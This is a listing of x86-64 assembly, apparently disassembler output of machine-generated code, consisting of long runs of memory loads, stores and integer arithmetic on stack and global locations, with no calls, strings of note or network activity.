mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov word [rsp + 0xf94], ax
mov rax, qword [0x14019d888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42c8], eax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xad00], rax
movsx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xf84]
xor eax, ecx
mov rcx, qword [rsp + 0xac50]
mov word [rcx], ax
mov rax, qword [rsp + 0xab00]
movzx eax, word [rax]
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac90]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaa58]
mov byte [rcx], al
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x4320], eax
mov rax, qword [rsp + 0xa858]
mov eax, dword [rax]
mov rcx, qword [0x14019d808]
mov qword [rsp + 0xad08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad08]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019bf50], eax
mov rax, qword [rsp + 0xa830]
mov ecx, dword [rsp + 0x4248]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4204], eax
mov eax, dword [rsp + 0x4238]
mov ecx, dword [0x14019bef4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41fc], eax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0xa850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee4]
add eax, ecx
mov word [rsp + 0xf88], ax
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x18d], al
mov eax, dword [rsp + 0x41c8]
mov ecx, dword [rsp + 0x42d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0xaa60]
mov ecx, dword [rsp + 0x4280]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0xaa30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4318]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef8], eax
mov eax, dword [rsp + 0x42d8]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d808]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [0x14019d880]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac78]
mov byte [rcx], al
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0xad10], rax
mov rax, qword [rsp + 0xa818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
movzx eax, word [str.3K6LAu_]
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42a4], eax
mov eax, dword [rsp + 0x415c]
movzx ecx, al
mov eax, dword [rsp + 0x429c]
shl eax, cl
mov dword [rsp + 0x4288], eax
lea rax, [0x14019900a]
mov qword [rsp + 0xad18], rax
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov rcx, qword [rsp + 0xad10]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov dword [0x14019d908], eax
lea rax, [rsp + 0x429c]
mov qword [rsp + 0xad20], rax
mov rax, qword [rsp + 0xaad8]
mov eax, dword [rax]
mov ecx, dword [0x14019befc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4278], eax
mov rax, qword [rsp + 0xab50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4274]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xad28], rax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0xac40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4218]
mov dword [rsp + 0x4328], eax
mov rax, qword [rsp + 0xab80]
mov ecx, dword [0x14019bf4c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x427c], eax
mov eax, dword [rsp + 0x42f4]
mov ecx, dword [rsp + 0x4270]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d8c0]
mov dword [rcx], eax
lea rax, [0x14019bf2c]
mov qword [rsp + 0xad30], rax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [rsp + 0xa620]
mov byte [rcx], al
mov rax, qword [rsp + 0xa440]
movzx eax, word [rax]
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0xace8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019900f]
sub eax, ecx
mov byte [rsp + 0x188], al
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa868]
mov word [rcx], ax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov dword [rsp + 0x432c], eax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xed4]
mov word [rsp + 0xfa4], ax
movzx eax, byte [rsp + 0x158]
movzx ecx, byte [rsp + 0x163]
add eax, ecx
mov byte [0x14019beef], al
mov rax, qword [0x14019d8c8]
mov ecx, dword [rsp + 0x41ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4320], eax
mov rax, qword [rsp + 0xab38]
mov eax, dword [rax]
mov dword [rsp + 0x4330], eax
mov eax, dword [rsp + 0x4224]
mov rcx, qword [rsp + 0xa9a8]
mov qword [rsp + 0xad38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad38]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xac10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov ecx, dword [0x14019bf34]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8c0]
movzx eax, word [rax]
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0xabb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
sar eax, cl
mov rcx, qword [rsp + 0xa970]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa80]
mov eax, dword [rax]
mov dword [rsp + 0x4334], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x4224]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140199008], al
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0xa720]
movzx eax, byte [rax]
mov byte [rsp + 0x18e], al
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa730]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
lea rax, [0x14019bf44]
mov qword [rsp + 0xad40], rax
mov eax, dword [rsp + 0x4250]
mov ecx, dword [rsp + 0x4274]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xad48], rax
mov rax, qword [rsp + 0xaa18]
mov rcx, qword [rsp + 0xa8f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [0x14019900f]
add eax, ecx
mov byte [rsp + 0xdf], al
lea rax, [rsp + 0xf18]
mov qword [0x14019d910], rax
mov rax, qword [rsp + 0xa678]
mov rcx, qword [rsp + 0xa988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov dword [rsp + 0x4338], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41d0]
mov ecx, dword [rsp + 0x41b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xebc]
mov word [rsp + 0xfac], ax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa628]
mov byte [rcx], al
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x18f], al
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
mov rcx, qword [0x14019d868]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf30], ax
mov eax, dword [rsp + 0x4230]
movzx ecx, al
mov eax, dword [rsp + 0x4058]
shr eax, cl
mov dword [0x14019bef4], eax
mov eax, dword [rsp + 0x41f4]
mov ecx, dword [rsp + 0x41a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
lea rax, [rsp + 0xef4]
mov qword [rsp + 0xad50], rax
mov rax, qword [rsp + 0xaa58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa970]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x180], al
mov eax, dword [rsp + 0x4218]
mov dword [rsp + 0x433c], eax
mov rax, qword [rsp + 0xa888]
mov ecx, dword [0x14019bef4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42e4]
mov ecx, dword [rsp + 0x3c48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa820]
mov dword [rcx], eax
lea rax, [rsp + 0x41c8]
mov qword [rsp + 0xad58], rax
movzx eax, word [rsp + 0xf94]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xac18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa830]
mov dword [rcx], eax
mov eax, dword [rsp + 0x415c]
mov dword [rsp + 0x4344], eax
mov rax, qword [0x14019d7d8]
mov rcx, qword [rsp + 0xaad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x424c], eax
lea rax, [rsp + 0x17e]
mov qword [rsp + 0xad60], rax
movsx eax, word [rsp + 0xa94]
mov rcx, qword [rsp + 0xa6d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xed8], ax
lea rax, [0x14019bf08]
mov qword [rsp + 0xad68], rax
lea rax, [rsp + 0x17d]
mov qword [0x14019d918], rax
mov rax, qword [rsp + 0xa8c8]
mov ecx, dword [rsp + 0x4234]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41e0], eax
mov eax, dword [rsp + 0x42a4]
mov rcx, qword [rsp + 0xa728]
mov qword [rsp + 0xad70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x42c0], eax
movzx eax, word [rsp + 0xf24]
mov word [rsp + 0xfb0], ax
mov rax, qword [rsp + 0xa720]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x183]
xor eax, ecx
mov byte [rsp + 0x15d], al
mov eax, dword [0x14019bf2c]
mov dword [rsp + 0x4348], eax
mov rax, qword [rsp + 0xabb8]
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0xa6e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xac10]
mov qword [rsp + 0xad78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad78]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4330], eax
mov rax, qword [rsp + 0xab58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x433c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3694], eax
movzx eax, word [rsp + 0xf88]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf54], ax
movzx eax, byte [rsp + 0x162]
movzx ecx, byte [0x14019d794]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0xaa50]
mov ecx, dword [rsp + 0x4308]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
movsx eax, word [rsp + 0xfa0]
movsx ecx, word [0x14019bf24]
sub eax, ecx
mov word [rsp + 0xf30], ax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0xad80], rax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16b], al
lea rax, [rsp + 0xf38]
mov qword [rsp + 0xad88], rax
mov eax, dword [rsp + 0x41f8]
mov ecx, dword [rsp + 0x42c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa830]
mov rcx, qword [rsp + 0xac10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf50], eax
lea rax, [rsp + 0x41c8]
mov qword [rsp + 0xad90], rax
mov eax, dword [rsp + 0x432c]
mov ecx, dword [rsp + 0x434c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4310]
mov ecx, dword [rsp + 0x4270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4304], eax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
mov byte [rsp + 0x190], al
mov rax, qword [rsp + 0xa990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
shl eax, cl
mov word [rsp + 0xeec], ax
lea rax, [rsp + 0x4254]
mov qword [rsp + 0xad98], rax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xacf8]
mov qword [rsp + 0xada0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xada0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xac98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7b8]
mov ecx, dword [rsp + 0x3c48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x42e8], eax
mov rax, qword [rsp + 0xab58]
mov eax, dword [rax]
mov dword [0x14019d920], eax
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0xada8], rax
mov rax, qword [0x14019d7f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaba8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa618]
mov byte [rcx], al
mov rax, qword [rsp + 0xac50]
movzx eax, word [rax]
mov word [rsp + 0xfb4], ax
movsx eax, byte [rsp + 0x185]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab20]
mov byte [rcx], al
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xad40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
lea rax, [rsp + 0x42f4]
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf3c], ax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x425c]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf34], eax
mov rax, qword [rsp + 0xa9a8]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xad90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xadb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacc0]
mov eax, dword [rax]
mov dword [rsp + 0x4350], eax
mov rax, qword [rsp + 0xab18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf10]
and eax, ecx
mov rcx, qword [rsp + 0xa750]
mov word [rcx], ax
movzx eax, byte [rsp + 0x18a]
mov byte [rsp + 0x191], al
mov eax, dword [rsp + 0x41a8]
mov ecx, dword [rsp + 0x4188]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4260], eax
mov eax, dword [0x14019bef8]
mov dword [rsp + 0x4354], eax
mov rax, qword [rsp + 0xaaa0]
mov ecx, dword [rsp + 0x4220]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x42d0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf58], eax
mov eax, dword [rsp + 0x416c]
movzx ecx, al
mov eax, dword [rsp + 0x4344]
sar eax, cl
mov dword [rsp + 0x41b8], eax
movzx eax, byte [rsp + 0x166]
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0xa5d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee0]
shl eax, cl
mov word [rsp + 0xfa0], ax
movzx eax, word [0x14019bf0c]
mov word [rsp + 0xfb8], ax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4284]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
lea rax, [rsp + 0x3c48]
mov qword [rsp + 0xadc0], rax
movzx eax, word [rsp + 0xf58]
movzx ecx, word [rsp + 0xf4c]
and eax, ecx
mov rcx, qword [rsp + 0xad10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x147]
movzx ecx, byte [0x140199009]
add eax, ecx
mov rcx, qword [0x14019d7a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dd0], eax
mov eax, dword [rsp + 0x4338]
mov ecx, dword [rsp + 0x3bf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa9a8]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41c4]
mov dword [rsp + 0x4358], eax
movzx eax, word [rsp + 0xedc]
movzx ecx, word [rsp + 0xeec]
sub eax, ecx
mov word [rsp + 0xec8], ax
lea rax, [0x14019900f]
mov qword [rsp + 0xadc8], rax
mov rax, qword [rsp + 0xaa08]
mov rcx, qword [rsp + 0xa600]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4088], eax
mov eax, dword [rsp + 0x4268]
mov ecx, dword [rsp + 0x4204]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac18]
mov dword [rcx], eax
movsx eax, byte [0x14019900d]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [str.Sb], al
lea rax, [rsp + 0xf48]
mov qword [rsp + 0xadd0], rax
mov rax, qword [rsp + 0xaab0]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x16b], al
movzx eax, word [rsp + 0xf14]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0xac98]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4280]
mov dword [rsp + 0x435c], eax
mov rax, qword [rsp + 0xac10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xab30]
mov qword [rsp + 0xadd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xadd8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xab30]
mov qword [rsp + 0xade0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xade0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x430c], eax
lea rax, [rsp + 0x4288]
mov qword [rsp + 0xade8], rax
mov rax, qword [0x14019d858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
and eax, ecx
mov rcx, qword [0x14019d910]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0xaad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c48], eax
mov rax, qword [rsp + 0xa998]
mov ecx, dword [rsp + 0x4310]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42d0], eax
mov rax, qword [rsp + 0xa5f0]
mov eax, dword [rax]
mov dword [rsp + 0x4364], eax
movzx eax, word [rsp + 0xef8]
mov rcx, qword [rsp + 0xa730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
movzx eax, byte [rsp + 0x168]
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0xa688]
movsx eax, word [rax]
mov rcx, qword [0x14019d898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xed8], ax
movsx eax, byte [rsp + 0x166]
movsx ecx, byte [rsp + 0x174]
add eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xacb0]
mov ecx, dword [rsp + 0x42c0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d800], eax
mov rax, qword [0x14019d828]
mov eax, dword [rax]
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
sub eax, ecx
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0xf58]
mov word [rsp + 0xfc0], ax
mov rax, qword [0x14019d8a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa700]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa840]
mov rcx, qword [rsp + 0xa758]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3348], eax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa598]
mov qword [rsp + 0xadf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xadf0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa9a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4288]
mov ecx, dword [rsp + 0x4144]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov word [rsp + 0xfc4], ax
movzx eax, byte [rsp + 0x147]
mov rcx, qword [0x14019d918]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14019bef3], al
mov eax, dword [rsp + 0x428c]
mov ecx, dword [rsp + 0x41e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab58]
mov eax, dword [rax]
mov dword [rsp + 0x436c], eax
mov rax, qword [rsp + 0xac80]
mov ecx, dword [0x14019bf18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4298]
mov ecx, dword [rsp + 0x41dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0xadf8], rax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x185]
add eax, ecx
mov byte [rsp + 0x169], al
movzx eax, word [rsp + 0xeb0]
mov word [rsp + 0xfc8], ax
movzx eax, byte [rsp + 0x17d]
movzx ecx, byte [rsp + 0x17f]
add eax, ecx
mov rcx, qword [rsp + 0xadc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xef0]
mov rcx, qword [0x14019d8d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d8a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4250]
mov ecx, dword [rsp + 0x41b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
lea rax, [rsp + 0x4190]
mov qword [rsp + 0xae00], rax
mov rax, qword [rsp + 0xad10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xac78]
movzx eax, byte [rax]
mov byte [rsp + 0x194], al
mov eax, dword [rsp + 0x41c8]
mov ecx, dword [rsp + 0x4198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0xacf8]
mov rcx, qword [rsp + 0xa870]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x419c], eax
mov eax, dword [rsp + 0x426c]
mov dword [rsp + 0x4370], eax
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xaad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4354], eax
lea rax, [0x14019900a]
mov qword [0x14019d928], rax
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0xfcc], ax
mov eax, dword [rsp + 0x3c7c]
movzx ecx, al
mov eax, dword [rsp + 0x4350]
shl eax, cl
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
lea rax, [rsp + 0x4248]
mov qword [rsp + 0xae08], rax
mov rax, qword [rsp + 0xa9e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
or eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
sar eax, cl
mov word [rsp + 0xee0], ax
mov rax, qword [0x14019d810]
movzx eax, word [rax]
mov word [rsp + 0xfd0], ax
movzx eax, byte [rsp + 0x176]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xad28]
mov byte [rcx], al
lea rax, [rsp + 0x41e0]
mov qword [rsp + 0xae10], rax
mov eax, dword [rsp + 0x4338]
mov ecx, dword [rsp + 0x3d34]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d848]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4208]
mov ecx, dword [rsp + 0x4260]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
